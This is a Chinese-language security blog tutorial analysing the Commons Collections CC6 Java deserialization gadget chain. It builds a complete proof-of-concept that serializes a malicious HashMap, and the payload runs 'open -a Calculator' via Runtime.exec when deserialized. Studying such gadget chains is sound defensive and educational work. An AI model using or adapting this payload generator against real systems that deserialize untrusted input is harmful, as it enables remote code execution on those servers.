JAVA安全-08反序列化篇(4)-CC6
上⼀篇详细分析了CommonsCollections1这个利⽤链,但是在Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。
CommonsCollections6链中,ysoserial的代码过于复杂了,⽽且其实⽤到了⼀些没必要的类。P牛做了简化,本篇文章针对P牛简化版进行分析为主。
ysoserial的链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
p牛版
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
主要区别是HashSet,它不是必须的。
CC1 InvokerTransformer.transform()到LazyMap.get()的链还是可以使用的,CC6找调用get()方法的类是TiedMapEntry,在getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法。
TiedMapEntry
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;
/** The map underlying the entry/iterator */
private final Map map;
/** The key */
private final Object key;
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
// Map.Entry interface
//-------------------------------------------------------------------------
/**
* Gets the key of this entry
*
* @return the key
*/
public Object getKey() {
return key;
}
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
//利用点
public Object getValue() {
return map.get(key);
}
/**
* Sets the value associated with the key direct onto the map.
*
* @param value the new value
* @return the old value
* @throws IllegalArgumentException if the value is set to this map entry
*/
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
}
return map.put(key, value);
}
/**
* Compares this <code>Map.Entry</code> with another <code>Map.Entry</code>.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
*
* @param obj the object to compare to
* @return true if equal key and value
*/
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
//利用点
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}
}
到这,找哪⾥调⽤了 TiedMapEntry#hashCode 。就和URL那条链差不多了,在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调⽤,⽽hash⽅法中,调⽤到了key.hashCode() 。所以,只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。
POC编写
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}),
};
//把transformers的4个Transformer执行
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "Roderick");
Map tmap = LazyMap.decorate(map, transformerChain);
TiedMapEntry tme = new TiedMapEntry(tmap, "keykey");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tme,"aaa");
//序列化写文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC6.bin"));
oos.writeObject(map2);
//反序列化触发payload
/* ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC6.bin"));
ois.readObject();*/
}
}
根据链写到这 序列化的时候map2.put会触发,我们要避免它触发,防止本地调试时触发命令执⾏。构造LazyMap的时候先⽤了没用的new ConstantTransformer(1)对象,等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}),
};
//把transformers的4个Transformer执行
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "Roderick");
//先放一个没用的Transformer
Map tmap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(tmap, "keykey");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tme,"aaa");
//序列化时把命令执行的放进去
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(tmap,transformerChain);
//序列化写文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC6.bin"));
oos.writeObject(map2);
//反序列化触发payload
/* ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC6.bin"));
ois.readObject();*/
}
}
此时序列化不会弹出计算器,但反序列化也没有弹计算器,原因是map2.put之后已经把 tmap放进去了,我们需要把它移出。完整的poc如下
public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}),
};
//把transformers的4个Transformer执行
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "Roderick");
//先放一个没用的Transformer
Map tmap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(tmap, "keykey");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tme,"aaa");
//移出 tmap, "keykey"
tmap.remove("keykey");
//序列化时把命令执行的放进去
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(tmap,transformerChain);
//序列化写文件
/* ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC6.bin"));
oos.writeObject(map2);*/
//反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC6.bin"));
ois.readObject();
}
}
这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制
本文来自博客园,作者:九天揽月丶,转载请注明原文链接:https://www.cnblogs.com/-meditation-/articles/16361009.html